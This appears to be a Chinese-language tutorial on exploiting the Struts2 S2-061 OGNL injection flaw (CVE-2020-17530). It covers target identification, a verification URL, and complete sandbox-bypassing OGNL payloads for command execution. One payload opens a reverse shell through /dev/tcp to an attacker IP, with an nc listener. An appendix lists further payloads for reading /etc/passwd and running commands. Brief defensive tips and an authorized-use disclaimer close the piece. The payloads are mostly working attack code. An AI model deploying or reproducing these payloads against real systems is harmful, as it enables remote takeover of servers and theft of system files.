Web应用框架(Struts2)漏洞利用
字数 1327 2025-09-01 11:25:54
Struts2漏洞利用技术详解
一、Struts2框架概述
Struts2是一个用于开发Java EE网络应用程序的开源网页应用程序架构,它基于MVC设计模式,并延伸了Java Servlet API。Struts2以WebWork为核心,吸收了Struts框架的优点,提供了更加整洁的Web应用程序框架实现。
关键特征:
- 默认使用
.action作为URL后缀(Struts1使用.do) - 采用OGNL(Object-Graph Navigation Language)表达式语言
- 遵循MVC架构模式
二、Struts2漏洞原理
1. 漏洞背景
Apache Struts于2020年12月08日披露S2-061远程代码执行漏洞(CVE-2020-17530),该漏洞是对S2-059沙盒的绕过。当使用某些标签时可能存在OGNL表达式注入漏洞,导致远程代码执行。
2. 漏洞机制
Struts2会对某些标签属性(如id)的属性值进行二次表达式解析。当这些标签属性中使用%{x}且x的值用户可控时,攻击者传入%{payload}即可造成OGNL表达式执行。
示例:
%{'gcowsec-'+(2000+20).toString}会被解析为gcowsec-2020
三、实验环境准备
1. 硬件设备
- 服务器:Centos7 1台
- 防火墙:1台
- 攻击机:Kali Linux 1台、Windows 10 1台
- 目标机:Windows 2016 1台
- 网络设备:交换机2台、路由器1台
2. 软件工具
- 火狐浏览器
- BurpSuite
- Netcat (nc)
四、漏洞检测与验证
1. 目标识别
- 访问目标网站(示例URL:
www.zd2.zhidaf.com:8080) - 使用F12查看网站源代码,寻找以下特征:
- 源码链接中包含
.action后缀 - 包含"Struts 2.0.1"等版本信息的注释
- id值为空或其他可注入点
- 源码链接中包含
2. 漏洞验证
构造测试URL验证OGNL表达式执行:
www.zd2.zhidaf.com:8080/?id=%25%7b+%27ceshi-%27+%2b+(100+%2b+50).toString()%7d
此URL解码后相当于:
www.zd2.zhidaf.com:8080/?id=%{'ceshi-'+(100+50).toString()}
预期结果:页面中id值变为"ceshi-150",证明OGNL表达式被执行。
五、漏洞利用实战
1. 构造POC
基于验证成功的表达式,构造恶意OGNL表达式执行系统命令。例如执行whoami命令:
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
2. 反弹Shell利用
-
在攻击机上启动Netcat监听:
nc -lvnp 4444 -
构造反弹Shell的OGNL表达式(以Linux目标为例):
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/攻击机IP/4444 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())} -
将上述表达式URL编码后通过id参数提交
六、防御措施
- 及时升级Struts2到最新安全版本
- 禁用不必要的OGNL表达式执行
- 对用户输入进行严格过滤和验证
- 使用Web应用防火墙(WAF)防护已知攻击模式
- 最小化服务器权限,限制命令执行能力
七、技术要点总结
- Struts2漏洞本质是OGNL表达式注入
- 漏洞利用关键在于绕过沙盒限制
- 通过二次解析特性实现代码执行
- 反弹Shell需要根据目标系统类型调整命令
- 所有攻击操作应在合法授权范围内进行
附录:常用OGNL表达式
-
系统信息获取:
%{@java.lang.System@getProperty('os.name')} -
文件读取:
%{new java.io.BufferedReader(new java.io.FileReader('/etc/passwd')).readLine()} -
命令执行结果获取:
%{new java.util.Scanner(@java.lang.Runtime@getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()}
注意:本文所述技术仅限安全研究和授权测试使用,未经授权对他人系统进行测试属于违法行为。